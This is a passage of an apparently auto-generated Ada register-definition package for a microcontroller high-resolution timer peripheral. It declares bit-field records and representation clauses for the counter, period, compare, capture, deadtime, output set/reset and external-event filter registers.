RSTIE : Boolean := False;
-- DLYPRTIE
DLYPRTIE : Boolean := False;
-- unspecified
Reserved_15_15 : HAL.Bit := 16#0#;
-- CMP1DE
CMP1DE : Boolean := False;
-- CMP2DE
CMP2DE : Boolean := False;
-- CMP3DE
CMP3DE : Boolean := False;
-- CMP4DE
CMP4DE : Boolean := False;
-- REPDE
REPDE : Boolean := False;
-- unspecified
Reserved_21_21 : HAL.Bit := 16#0#;
-- UPDDE
UPDDE : Boolean := False;
-- CPT1DE
CPT1DE : Boolean := False;
-- CPT2DE
CPT2DE : Boolean := False;
-- SET1xDE
SET1xDE : Boolean := False;
-- RSTx1DE
RSTx1DE : Boolean := False;
-- SETx2DE
SETx2DE : Boolean := False;
-- RSTx2DE
RSTx2DE : Boolean := False;
-- RSTDE
RSTDE : Boolean := False;
-- DLYPRTDE
DLYPRTDE : Boolean := False;
-- unspecified
Reserved_31_31 : HAL.Bit := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for TIMCDIER_Register use record
CMP1IE at 0 range 0 .. 0;
CMP2IE at 0 range 1 .. 1;
CMP3IE at 0 range 2 .. 2;
CMP4IE at 0 range 3 .. 3;
REPIE at 0 range 4 .. 4;
Reserved_5_5 at 0 range 5 .. 5;
UPDIE at 0 range 6 .. 6;
CPT1IE at 0 range 7 .. 7;
CPT2IE at 0 range 8 .. 8;
SET1xIE at 0 range 9 .. 9;
RSTx1IE at 0 range 10 .. 10;
SETx2IE at 0 range 11 .. 11;
RSTx2IE at 0 range 12 .. 12;
RSTIE at 0 range 13 .. 13;
DLYPRTIE at 0 range 14 .. 14;
Reserved_15_15 at 0 range 15 .. 15;
CMP1DE at 0 range 16 .. 16;
CMP2DE at 0 range 17 .. 17;
CMP3DE at 0 range 18 .. 18;
CMP4DE at 0 range 19 .. 19;
REPDE at 0 range 20 .. 20;
Reserved_21_21 at 0 range 21 .. 21;
UPDDE at 0 range 22 .. 22;
CPT1DE at 0 range 23 .. 23;
CPT2DE at 0 range 24 .. 24;
SET1xDE at 0 range 25 .. 25;
RSTx1DE at 0 range 26 .. 26;
SETx2DE at 0 range 27 .. 27;
RSTx2DE at 0 range 28 .. 28;
RSTDE at 0 range 29 .. 29;
DLYPRTDE at 0 range 30 .. 30;
Reserved_31_31 at 0 range 31 .. 31;
end record;
subtype CNTCR_CNTx_Field is HAL.UInt16;
-- Timerx Counter Register
type CNTCR_Register is record
-- Timerx Counter value
CNTx : CNTCR_CNTx_Field := 16#0#;
-- unspecified
Reserved_16_31 : HAL.UInt16 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for CNTCR_Register use record
CNTx at 0 range 0 .. 15;
Reserved_16_31 at 0 range 16 .. 31;
end record;
subtype PERCR_PERx_Field is HAL.UInt16;
-- Timerx Period Register
type PERCR_Register is record
-- Timerx Period value
PERx : PERCR_PERx_Field := 16#FFFF#;
-- unspecified
Reserved_16_31 : HAL.UInt16 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for PERCR_Register use record
PERx at 0 range 0 .. 15;
Reserved_16_31 at 0 range 16 .. 31;
end record;
subtype REPCR_REPx_Field is HAL.UInt8;
-- Timerx Repetition Register
type REPCR_Register is record
-- Timerx Repetition counter value
REPx : REPCR_REPx_Field := 16#0#;
-- unspecified
Reserved_8_31 : HAL.UInt24 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for REPCR_Register use record
REPx at 0 range 0 .. 7;
Reserved_8_31 at 0 range 8 .. 31;
end record;
subtype CMP1CR_CMP1x_Field is HAL.UInt16;
-- Timerx Compare 1 Register
type CMP1CR_Register is record
-- Timerx Compare 1 value
CMP1x : CMP1CR_CMP1x_Field := 16#0#;
-- unspecified
Reserved_16_31 : HAL.UInt16 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for CMP1CR_Register use record
CMP1x at 0 range 0 .. 15;
Reserved_16_31 at 0 range 16 .. 31;
end record;
subtype CMP1CCR_CMP1x_Field is HAL.UInt16;
subtype CMP1CCR_REPx_Field is HAL.UInt8;
-- Timerx Compare 1 Compound Register
type CMP1CCR_Register is record
-- Timerx Compare 1 value
CMP1x : CMP1CCR_CMP1x_Field := 16#0#;
-- Timerx Repetition value (aliased from HRTIM_REPx register)
REPx : CMP1CCR_REPx_Field := 16#0#;
-- unspecified
Reserved_24_31 : HAL.UInt8 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for CMP1CCR_Register use record
CMP1x at 0 range 0 .. 15;
REPx at 0 range 16 .. 23;
Reserved_24_31 at 0 range 24 .. 31;
end record;
subtype CMP2CR_CMP2x_Field is HAL.UInt16;
-- Timerx Compare 2 Register
type CMP2CR_Register is record
-- Timerx Compare 2 value
CMP2x : CMP2CR_CMP2x_Field := 16#0#;
-- unspecified
Reserved_16_31 : HAL.UInt16 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for CMP2CR_Register use record
CMP2x at 0 range 0 .. 15;
Reserved_16_31 at 0 range 16 .. 31;
end record;
subtype CMP3CR_CMP3x_Field is HAL.UInt16;
-- Timerx Compare 3 Register
type CMP3CR_Register is record
-- Timerx Compare 3 value
CMP3x : CMP3CR_CMP3x_Field := 16#0#;
-- unspecified
Reserved_16_31 : HAL.UInt16 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for CMP3CR_Register use record
CMP3x at 0 range 0 .. 15;
Reserved_16_31 at 0 range 16 .. 31;
end record;
subtype CMP4CR_CMP4x_Field is HAL.UInt16;
-- Timerx Compare 4 Register
type CMP4CR_Register is record
-- Timerx Compare 4 value
CMP4x : CMP4CR_CMP4x_Field := 16#0#;
-- unspecified
Reserved_16_31 : HAL.UInt16 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for CMP4CR_Register use record
CMP4x at 0 range 0 .. 15;
Reserved_16_31 at 0 range 16 .. 31;
end record;
subtype CPT1CR_CPT1x_Field is HAL.UInt16;
-- Timerx Capture 1 Register
type CPT1CR_Register is record
-- Read-only. Timerx Capture 1 value
CPT1x : CPT1CR_CPT1x_Field;
-- unspecified
Reserved_16_31 : HAL.UInt16;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for CPT1CR_Register use record
CPT1x at 0 range 0 .. 15;
Reserved_16_31 at 0 range 16 .. 31;
end record;
subtype CPT2CR_CPT2x_Field is HAL.UInt16;
-- Timerx Capture 2 Register
type CPT2CR_Register is record
-- Read-only. Timerx Capture 2 value
CPT2x : CPT2CR_CPT2x_Field;
-- unspecified
Reserved_16_31 : HAL.UInt16;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for CPT2CR_Register use record
CPT2x at 0 range 0 .. 15;
Reserved_16_31 at 0 range 16 .. 31;
end record;
subtype DTCR_DTRx_Field is HAL.UInt9;
subtype DTCR_DTPRSC_Field is HAL.UInt3;
subtype DTCR_DTFx_Field is HAL.UInt9;
-- Timerx Deadtime Register
type DTCR_Register is record
-- Deadtime Rising value
DTRx : DTCR_DTRx_Field := 16#0#;
-- Sign Deadtime Rising value
SDTRx : Boolean := False;
-- Deadtime Prescaler
DTPRSC : DTCR_DTPRSC_Field := 16#0#;
-- unspecified
Reserved_13_13 : HAL.Bit := 16#0#;
-- Deadtime Rising Sign Lock
DTRSLKx : Boolean := False;
-- Deadtime Rising Lock
DTRLKx : Boolean := False;
-- Deadtime Falling value
DTFx : DTCR_DTFx_Field := 16#0#;
-- Sign Deadtime Falling value
SDTFx : Boolean := False;
-- unspecified
Reserved_26_29 : HAL.UInt4 := 16#0#;
-- Deadtime Falling Sign Lock
DTFSLKx : Boolean := False;
-- Deadtime Falling Lock
DTFLKx : Boolean := False;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for DTCR_Register use record
DTRx at 0 range 0 .. 8;
SDTRx at 0 range 9 .. 9;
DTPRSC at 0 range 10 .. 12;
Reserved_13_13 at 0 range 13 .. 13;
DTRSLKx at 0 range 14 .. 14;
DTRLKx at 0 range 15 .. 15;
DTFx at 0 range 16 .. 24;
SDTFx at 0 range 25 .. 25;
Reserved_26_29 at 0 range 26 .. 29;
DTFSLKx at 0 range 30 .. 30;
DTFLKx at 0 range 31 .. 31;
end record;
-- SETC1R_CMP array
type SETC1R_CMP_Field_Array is array (1 .. 4) of Boolean
with Component_Size => 1, Size => 4;
-- Type definition for SETC1R_CMP
type SETC1R_CMP_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- CMP as a value
Val : HAL.UInt4;
when True =>
-- CMP as an array
Arr : SETC1R_CMP_Field_Array;
end case;
end record
with Unchecked_Union, Size => 4;
for SETC1R_CMP_Field use record
Val at 0 range 0 .. 3;
Arr at 0 range 0 .. 3;
end record;
-- SETC1R_MSTCMP array
type SETC1R_MSTCMP_Field_Array is array (1 .. 4) of Boolean
with Component_Size => 1, Size => 4;
-- Type definition for SETC1R_MSTCMP
type SETC1R_MSTCMP_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- MSTCMP as a value
Val : HAL.UInt4;
when True =>
-- MSTCMP as an array
Arr : SETC1R_MSTCMP_Field_Array;
end case;
end record
with Unchecked_Union, Size => 4;
for SETC1R_MSTCMP_Field use record
Val at 0 range 0 .. 3;
Arr at 0 range 0 .. 3;
end record;
-- SETC1R_TIMEVNT array
type SETC1R_TIMEVNT_Field_Array is array (1 .. 9) of Boolean
with Component_Size => 1, Size => 9;
-- Type definition for SETC1R_TIMEVNT
type SETC1R_TIMEVNT_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- TIMEVNT as a value
Val : HAL.UInt9;
when True =>
-- TIMEVNT as an array
Arr : SETC1R_TIMEVNT_Field_Array;
end case;
end record
with Unchecked_Union, Size => 9;
for SETC1R_TIMEVNT_Field use record
Val at 0 range 0 .. 8;
Arr at 0 range 0 .. 8;
end record;
-- SETC1R_EXTEVNT array
type SETC1R_EXTEVNT_Field_Array is array (1 .. 10) of Boolean
with Component_Size => 1, Size => 10;
-- Type definition for SETC1R_EXTEVNT
type SETC1R_EXTEVNT_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- EXTEVNT as a value
Val : HAL.UInt10;
when True =>
-- EXTEVNT as an array
Arr : SETC1R_EXTEVNT_Field_Array;
end case;
end record
with Unchecked_Union, Size => 10;
for SETC1R_EXTEVNT_Field use record
Val at 0 range 0 .. 9;
Arr at 0 range 0 .. 9;
end record;
-- Timerx Output1 Set Register
type SETC1R_Register is record
-- Software Set trigger
SST : Boolean := False;
-- Timer A resynchronizaton
RESYNC : Boolean := False;
-- Timer A Period
PER : Boolean := False;
-- Timer A compare 1
CMP : SETC1R_CMP_Field := (As_Array => False, Val => 16#0#);
-- Master Period
MSTPER : Boolean := False;
-- Master Compare 1
MSTCMP : SETC1R_MSTCMP_Field := (As_Array => False, Val => 16#0#);
-- Timer Event 1
TIMEVNT : SETC1R_TIMEVNT_Field := (As_Array => False, Val => 16#0#);
-- External Event 1
EXTEVNT : SETC1R_EXTEVNT_Field := (As_Array => False, Val => 16#0#);
-- Registers update (transfer preload to active)
UPDATE : Boolean := False;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for SETC1R_Register use record
SST at 0 range 0 .. 0;
RESYNC at 0 range 1 .. 1;
PER at 0 range 2 .. 2;
CMP at 0 range 3 .. 6;
MSTPER at 0 range 7 .. 7;
MSTCMP at 0 range 8 .. 11;
TIMEVNT at 0 range 12 .. 20;
EXTEVNT at 0 range 21 .. 30;
UPDATE at 0 range 31 .. 31;
end record;
-- RSTC1R_CMP array
type RSTC1R_CMP_Field_Array is array (1 .. 4) of Boolean
with Component_Size => 1, Size => 4;
-- Type definition for RSTC1R_CMP
type RSTC1R_CMP_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- CMP as a value
Val : HAL.UInt4;
when True =>
-- CMP as an array
Arr : RSTC1R_CMP_Field_Array;
end case;
end record
with Unchecked_Union, Size => 4;
for RSTC1R_CMP_Field use record
Val at 0 range 0 .. 3;
Arr at 0 range 0 .. 3;
end record;
-- RSTC1R_MSTCMP array
type RSTC1R_MSTCMP_Field_Array is array (1 .. 4) of Boolean
with Component_Size => 1, Size => 4;
-- Type definition for RSTC1R_MSTCMP
type RSTC1R_MSTCMP_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- MSTCMP as a value
Val : HAL.UInt4;
when True =>
-- MSTCMP as an array
Arr : RSTC1R_MSTCMP_Field_Array;
end case;
end record
with Unchecked_Union, Size => 4;
for RSTC1R_MSTCMP_Field use record
Val at 0 range 0 .. 3;
Arr at 0 range 0 .. 3;
end record;
-- RSTC1R_TIMEVNT array
type RSTC1R_TIMEVNT_Field_Array is array (1 .. 9) of Boolean
with Component_Size => 1, Size => 9;
-- Type definition for RSTC1R_TIMEVNT
type RSTC1R_TIMEVNT_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- TIMEVNT as a value
Val : HAL.UInt9;
when True =>
-- TIMEVNT as an array
Arr : RSTC1R_TIMEVNT_Field_Array;
end case;
end record
with Unchecked_Union, Size => 9;
for RSTC1R_TIMEVNT_Field use record
Val at 0 range 0 .. 8;
Arr at 0 range 0 .. 8;
end record;
-- RSTC1R_EXTEVNT array
type RSTC1R_EXTEVNT_Field_Array is array (1 .. 10) of Boolean
with Component_Size => 1, Size => 10;
-- Type definition for RSTC1R_EXTEVNT
type RSTC1R_EXTEVNT_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- EXTEVNT as a value
Val : HAL.UInt10;
when True =>
-- EXTEVNT as an array
Arr : RSTC1R_EXTEVNT_Field_Array;
end case;
end record
with Unchecked_Union, Size => 10;
for RSTC1R_EXTEVNT_Field use record
Val at 0 range 0 .. 9;
Arr at 0 range 0 .. 9;
end record;
-- Timerx Output1 Reset Register
type RSTC1R_Register is record
-- SRT
SRT : Boolean := False;
-- RESYNC
RESYNC : Boolean := False;
-- PER
PER : Boolean := False;
-- CMP1
CMP : RSTC1R_CMP_Field := (As_Array => False, Val => 16#0#);
-- MSTPER
MSTPER : Boolean := False;
-- MSTCMP1
MSTCMP : RSTC1R_MSTCMP_Field := (As_Array => False, Val => 16#0#);
-- TIMEVNT1
TIMEVNT : RSTC1R_TIMEVNT_Field := (As_Array => False, Val => 16#0#);
-- EXTEVNT1
EXTEVNT : RSTC1R_EXTEVNT_Field := (As_Array => False, Val => 16#0#);
-- UPDATE
UPDATE : Boolean := False;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for RSTC1R_Register use record
SRT at 0 range 0 .. 0;
RESYNC at 0 range 1 .. 1;
PER at 0 range 2 .. 2;
CMP at 0 range 3 .. 6;
MSTPER at 0 range 7 .. 7;
MSTCMP at 0 range 8 .. 11;
TIMEVNT at 0 range 12 .. 20;
EXTEVNT at 0 range 21 .. 30;
UPDATE at 0 range 31 .. 31;
end record;
-- SETC2R_CMP array
type SETC2R_CMP_Field_Array is array (1 .. 4) of Boolean
with Component_Size => 1, Size => 4;
-- Type definition for SETC2R_CMP
type SETC2R_CMP_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- CMP as a value
Val : HAL.UInt4;
when True =>
-- CMP as an array
Arr : SETC2R_CMP_Field_Array;
end case;
end record
with Unchecked_Union, Size => 4;
for SETC2R_CMP_Field use record
Val at 0 range 0 .. 3;
Arr at 0 range 0 .. 3;
end record;
-- SETC2R_MSTCMP array
type SETC2R_MSTCMP_Field_Array is array (1 .. 4) of Boolean
with Component_Size => 1, Size => 4;
-- Type definition for SETC2R_MSTCMP
type SETC2R_MSTCMP_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- MSTCMP as a value
Val : HAL.UInt4;
when True =>
-- MSTCMP as an array
Arr : SETC2R_MSTCMP_Field_Array;
end case;
end record
with Unchecked_Union, Size => 4;
for SETC2R_MSTCMP_Field use record
Val at 0 range 0 .. 3;
Arr at 0 range 0 .. 3;
end record;
-- SETC2R_TIMEVNT array
type SETC2R_TIMEVNT_Field_Array is array (1 .. 9) of Boolean
with Component_Size => 1, Size => 9;
-- Type definition for SETC2R_TIMEVNT
type SETC2R_TIMEVNT_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- TIMEVNT as a value
Val : HAL.UInt9;
when True =>
-- TIMEVNT as an array
Arr : SETC2R_TIMEVNT_Field_Array;
end case;
end record
with Unchecked_Union, Size => 9;
for SETC2R_TIMEVNT_Field use record
Val at 0 range 0 .. 8;
Arr at 0 range 0 .. 8;
end record;
-- SETC2R_EXTEVNT array
type SETC2R_EXTEVNT_Field_Array is array (1 .. 10) of Boolean
with Component_Size => 1, Size => 10;
-- Type definition for SETC2R_EXTEVNT
type SETC2R_EXTEVNT_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- EXTEVNT as a value
Val : HAL.UInt10;
when True =>
-- EXTEVNT as an array
Arr : SETC2R_EXTEVNT_Field_Array;
end case;
end record
with Unchecked_Union, Size => 10;
for SETC2R_EXTEVNT_Field use record
Val at 0 range 0 .. 9;
Arr at 0 range 0 .. 9;
end record;
-- Timerx Output2 Set Register
type SETC2R_Register is record
-- SST
SST : Boolean := False;
-- RESYNC
RESYNC : Boolean := False;
-- PER
PER : Boolean := False;
-- CMP1
CMP : SETC2R_CMP_Field := (As_Array => False, Val => 16#0#);
-- MSTPER
MSTPER : Boolean := False;
-- MSTCMP1
MSTCMP : SETC2R_MSTCMP_Field := (As_Array => False, Val => 16#0#);
-- TIMEVNT1
TIMEVNT : SETC2R_TIMEVNT_Field := (As_Array => False, Val => 16#0#);
-- EXTEVNT1
EXTEVNT : SETC2R_EXTEVNT_Field := (As_Array => False, Val => 16#0#);
-- UPDATE
UPDATE : Boolean := False;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for SETC2R_Register use record
SST at 0 range 0 .. 0;
RESYNC at 0 range 1 .. 1;
PER at 0 range 2 .. 2;
CMP at 0 range 3 .. 6;
MSTPER at 0 range 7 .. 7;
MSTCMP at 0 range 8 .. 11;
TIMEVNT at 0 range 12 .. 20;
EXTEVNT at 0 range 21 .. 30;
UPDATE at 0 range 31 .. 31;
end record;
-- RSTC2R_CMP array
type RSTC2R_CMP_Field_Array is array (1 .. 4) of Boolean
with Component_Size => 1, Size => 4;
-- Type definition for RSTC2R_CMP
type RSTC2R_CMP_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- CMP as a value
Val : HAL.UInt4;
when True =>
-- CMP as an array
Arr : RSTC2R_CMP_Field_Array;
end case;
end record
with Unchecked_Union, Size => 4;
for RSTC2R_CMP_Field use record
Val at 0 range 0 .. 3;
Arr at 0 range 0 .. 3;
end record;
-- RSTC2R_MSTCMP array
type RSTC2R_MSTCMP_Field_Array is array (1 .. 4) of Boolean
with Component_Size => 1, Size => 4;
-- Type definition for RSTC2R_MSTCMP
type RSTC2R_MSTCMP_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- MSTCMP as a value
Val : HAL.UInt4;
when True =>
-- MSTCMP as an array
Arr : RSTC2R_MSTCMP_Field_Array;
end case;
end record
with Unchecked_Union, Size => 4;
for RSTC2R_MSTCMP_Field use record
Val at 0 range 0 .. 3;
Arr at 0 range 0 .. 3;
end record;
-- RSTC2R_TIMEVNT array
type RSTC2R_TIMEVNT_Field_Array is array (1 .. 9) of Boolean
with Component_Size => 1, Size => 9;
-- Type definition for RSTC2R_TIMEVNT
type RSTC2R_TIMEVNT_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- TIMEVNT as a value
Val : HAL.UInt9;
when True =>
-- TIMEVNT as an array
Arr : RSTC2R_TIMEVNT_Field_Array;
end case;
end record
with Unchecked_Union, Size => 9;
for RSTC2R_TIMEVNT_Field use record
Val at 0 range 0 .. 8;
Arr at 0 range 0 .. 8;
end record;
-- RSTC2R_EXTEVNT array
type RSTC2R_EXTEVNT_Field_Array is array (1 .. 10) of Boolean
with Component_Size => 1, Size => 10;
-- Type definition for RSTC2R_EXTEVNT
type RSTC2R_EXTEVNT_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- EXTEVNT as a value
Val : HAL.UInt10;
when True =>
-- EXTEVNT as an array
Arr : RSTC2R_EXTEVNT_Field_Array;
end case;
end record
with Unchecked_Union, Size => 10;
for RSTC2R_EXTEVNT_Field use record
Val at 0 range 0 .. 9;
Arr at 0 range 0 .. 9;
end record;
-- Timerx Output2 Reset Register
type RSTC2R_Register is record
-- SRT
SRT : Boolean := False;
-- RESYNC
RESYNC : Boolean := False;
-- PER
PER : Boolean := False;
-- CMP1
CMP : RSTC2R_CMP_Field := (As_Array => False, Val => 16#0#);
-- MSTPER
MSTPER : Boolean := False;
-- MSTCMP1
MSTCMP : RSTC2R_MSTCMP_Field := (As_Array => False, Val => 16#0#);
-- TIMEVNT1
TIMEVNT : RSTC2R_TIMEVNT_Field := (As_Array => False, Val => 16#0#);
-- EXTEVNT1
EXTEVNT : RSTC2R_EXTEVNT_Field := (As_Array => False, Val => 16#0#);
-- UPDATE
UPDATE : Boolean := False;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for RSTC2R_Register use record
SRT at 0 range 0 .. 0;
RESYNC at 0 range 1 .. 1;
PER at 0 range 2 .. 2;
CMP at 0 range 3 .. 6;
MSTPER at 0 range 7 .. 7;
MSTCMP at 0 range 8 .. 11;
TIMEVNT at 0 range 12 .. 20;
EXTEVNT at 0 range 21 .. 30;
UPDATE at 0 range 31 .. 31;
end record;
subtype EEFCR1_EE1FLTR_Field is HAL.UInt4;
subtype EEFCR1_EE2FLTR_Field is HAL.UInt4;
subtype EEFCR1_EE3FLTR_Field is HAL.UInt4;
subtype EEFCR1_EE4FLTR_Field is HAL.UInt4;
subtype EEFCR1_EE5FLTR_Field is HAL.UInt4;
-- Timerx External Event Filtering Register 1
type EEFCR1_Register is record
-- External Event 1 latch
EE1LTCH : Boolean := False;
-- External Event 1 filter
EE1FLTR : EEFCR1_EE1FLTR_Field := 16#0#;
-- unspecified
Reserved_5_5 : HAL.Bit := 16#0#;
-- External Event 2 latch
EE2LTCH : Boolean := False;
-- External Event 2 filter
EE2FLTR : EEFCR1_EE2FLTR_Field := 16#0#;
-- unspecified
Reserved_11_11 : HAL.Bit := 16#0#;
-- External Event 3 latch
EE3LTCH : Boolean := False;
-- External Event 3 filter
EE3FLTR : EEFCR1_EE3FLTR_Field := 16#0#;
-- unspecified
Reserved_17_17 : HAL.Bit := 16#0#;
-- External Event 4 latch
EE4LTCH : Boolean := False;
-- External Event 4 filter
EE4FLTR : EEFCR1_EE4FLTR_Field := 16#0#;
-- unspecified
Reserved_23_23 : HAL.Bit := 16#0#;
-- External Event 5 latch
EE5LTCH : Boolean := False;
-- External Event 5 filter
EE5FLTR : EEFCR1_EE5FLTR_Field := 16#0#;
-- unspecified
Reserved_29_31 : HAL.UInt3 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for EEFCR1_Register use record
EE1LTCH at 0 range 0 .. 0;
EE1FLTR at 0 range 1 .. 4;
Reserved_5_5 at 0 range 5 .. 5;
EE2LTCH at 0 range 6 .. 6;
EE2FLTR at 0 range 7 .. 10;
Reserved_11_11 at 0 range 11 .. 11;
EE3LTCH at 0 range 12 .. 12;
EE3FLTR at 0 range 13 .. 16;
Reserved_17_17 at 0 range 17 .. 17;
EE4LTCH at 0 range 18 .. 18;
EE4FLTR at 0 range 19 .. 22;
Reserved_23_23 at 0 range 23 .. 23;
EE5LTCH at 0 range 24 .. 24;
EE5FLTR at 0 range 25 .. 28;
Reserved_29_31 at 0 range 29 .. 31;
end record;
subtype EEFCR2_EE6FLTR_Field is HAL.UInt4;
subtype EEFCR2_EE7FLTR_Field is HAL.UInt4;
subtype EEFCR2_EE8FLTR_Field is HAL.UInt4;
subtype EEFCR2_EE9FLTR_Field is HAL.UInt4;
subtype EEFCR2_EE10FLTR_Field is HAL.UInt4;
-- Timerx External Event Filtering Register 2
type EEFCR2_Register is record
-- External Event 6 latch
EE6LTCH : Boolean := False;
-- External Event 6 filter
EE6FLTR : EEFCR2_EE6FLTR_Field := 16#0#;
-- unspecified
Reserved_5_5 : HAL.Bit := 16#0#;
-- External Event 7 latch
EE7LTCH : Boolean := False;
-- External Event 7 filter
EE7FLTR : EEFCR2_EE7FLTR_Field := 16#0#;
-- unspecified
Reserved_11_11 : HAL.Bit := 16#0#;
-- External Event 8 latch
EE8LTCH : Boolean := False;
-- External Event 8 filter
EE8FLTR : EEFCR2_EE8FLTR_Field := 16#0#;
-- unspecified
Reserved_17_17 : HAL.Bit := 16#0#;
-- External Event 9 latch
EE9LTCH : Boolean := False;
-- External Event 9 filter
EE9FLTR : EEFCR2_EE9FLTR_Field := 16#0#;
-- unspecified
Reserved_23_23 : HAL.Bit := 16#0#;
-- External Event 10 latch
EE10LTCH : Boolean := False;
-- External Event 10 filter
EE10FLTR : EEFCR2_EE10FLTR_Field := 16#0#;
-- unspecified
Reserved_29_31 : HAL.UInt3 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for EEFCR2_Register use record
EE6LTCH at 0 range 0 .. 0;
EE6FLTR at 0 range 1 .. 4;
Reserved_5_5 at 0 range 5 .. 5;
EE7LTCH at 0 range 6 .. 6;
EE7FLTR at 0 range 7 .. 10;
Reserved_11_11 at 0 range 11 .. 11;
EE8LTCH at 0 range 12 .. 12;
EE8FLTR at 0 range 13 .. 16;
Reserved_17_17 at 0 range 17 .. 17;
EE9LTCH at 0 range 18 .. 18;
EE9FLTR at 0 range 19 .. 22;
Reserved_23_23 at 0 range 23 .. 23;
EE10LTCH at 0 range 24 .. 24;
EE10FLTR at 0 range 25 .. 28;
Reserved_29_31 at 0 range 29 .. 31;
end record;
-- RSTCR_CMP array
type RSTCR_CMP_Field_Array is array (2 .. 3) of Boolean
with Component_Size => 1, Size => 2;
-- Type definition for RSTCR_CMP
type RSTCR_CMP_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- CMP as a value
Val : HAL.UInt2;
when True =>
-- CMP as an array
Arr : RSTCR_CMP_Field_Array;
end case;
end record
with Unchecked_Union, Size => 2;
for RSTCR_CMP_Field use record
Val at 0 range 0 .. 1;
Arr at 0 range 0 .. 1;
end record;
-- RSTCR_MSTCMP array
type RSTCR_MSTCMP_Field_Array is array (1 .. 4) of Boolean
with Component_Size => 1, Size => 4;
-- Type definition for RSTCR_MSTCMP
type RSTCR_MSTCMP_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- MSTCMP as a value
Val : HAL.UInt4;
when True =>
-- MSTCMP as an array
Arr : RSTCR_MSTCMP_Field_Array;
end case;
end record
with Unchecked_Union, Size => 4;
for RSTCR_MSTCMP_Field use record
Val at 0 range 0 .. 3;
Arr at 0 range 0 .. 3;
end record;
-- RSTCR_EXTEVNT array
type RSTCR_EXTEVNT_Field_Array is array (1 .. 10) of Boolean
with Component_Size => 1, Size => 10;
-- Type definition for RSTCR_EXTEVNT
type RSTCR_EXTEVNT_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- EXTEVNT as a value
Val : HAL.UInt10;
when True =>
-- EXTEVNT as an array
Arr : RSTCR_EXTEVNT_Field_Array;
end case;
end record
with Unchecked_Union, Size => 10;
for RSTCR_EXTEVNT_Field use record
Val at 0 range 0 .. 9;
Arr at 0 range 0 .. 9;
end record;
-- RSTCR_TIMACMP array
type RSTCR_TIMACMP_Field_Array is array (1 .. 3) of Boolean
with Component_Size => 1, Size => 3;
-- Type definition for RSTCR_TIMACMP
type RSTCR_TIMACMP_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- TIMACMP as a value
Val : HAL.UInt3;
when True =>
-- TIMACMP as an array
Arr : RSTCR_TIMACMP_Field_Array;
end case;
end record
with Unchecked_Union, Size => 3;
for RSTCR_TIMACMP_Field use record
Val at 0 range 0 .. 2;
Arr at 0 range 0 .. 2;
end record;
-- RSTCR_TIMBCMP array
type RSTCR_TIMBCMP_Field_Array is array (1 .. 3) of Boolean
with Component_Size => 1, Size => 3;
-- Type definition for RSTCR_TIMBCMP
type RSTCR_TIMBCMP_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- TIMBCMP as a value
Val : HAL.UInt3;
when True =>
-- TIMBCMP as an array
Arr : RSTCR_TIMBCMP_Field_Array;
end case;
end record
with Unchecked_Union, Size => 3;
for RSTCR_TIMBCMP_Field use record
Val at 0 range 0 .. 2;
Arr at 0 range 0 .. 2;
end record;
-- RSTCR_TIMDCMP array
type RSTCR_TIMDCMP_Field_Array is array (1 .. 3) of Boolean
with Component_Size => 1, Size => 3;
-- Type definition for RSTCR_TIMDCMP
type RSTCR_TIMDCMP_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- TIMDCMP as a value
Val : HAL.UInt3;
when True =>
-- TIMDCMP as an array
Arr : RSTCR_TIMDCMP_Field_Array;
end case;
end record
with Unchecked_Union, Size => 3;
for RSTCR_TIMDCMP_Field use record
Val at 0 range 0 .. 2;
Arr at 0 range 0 .. 2;
end record;
-- RSTCR_TIMECMP array
type RSTCR_TIMECMP_Field_Array is array (1 .. 3) of Boolean
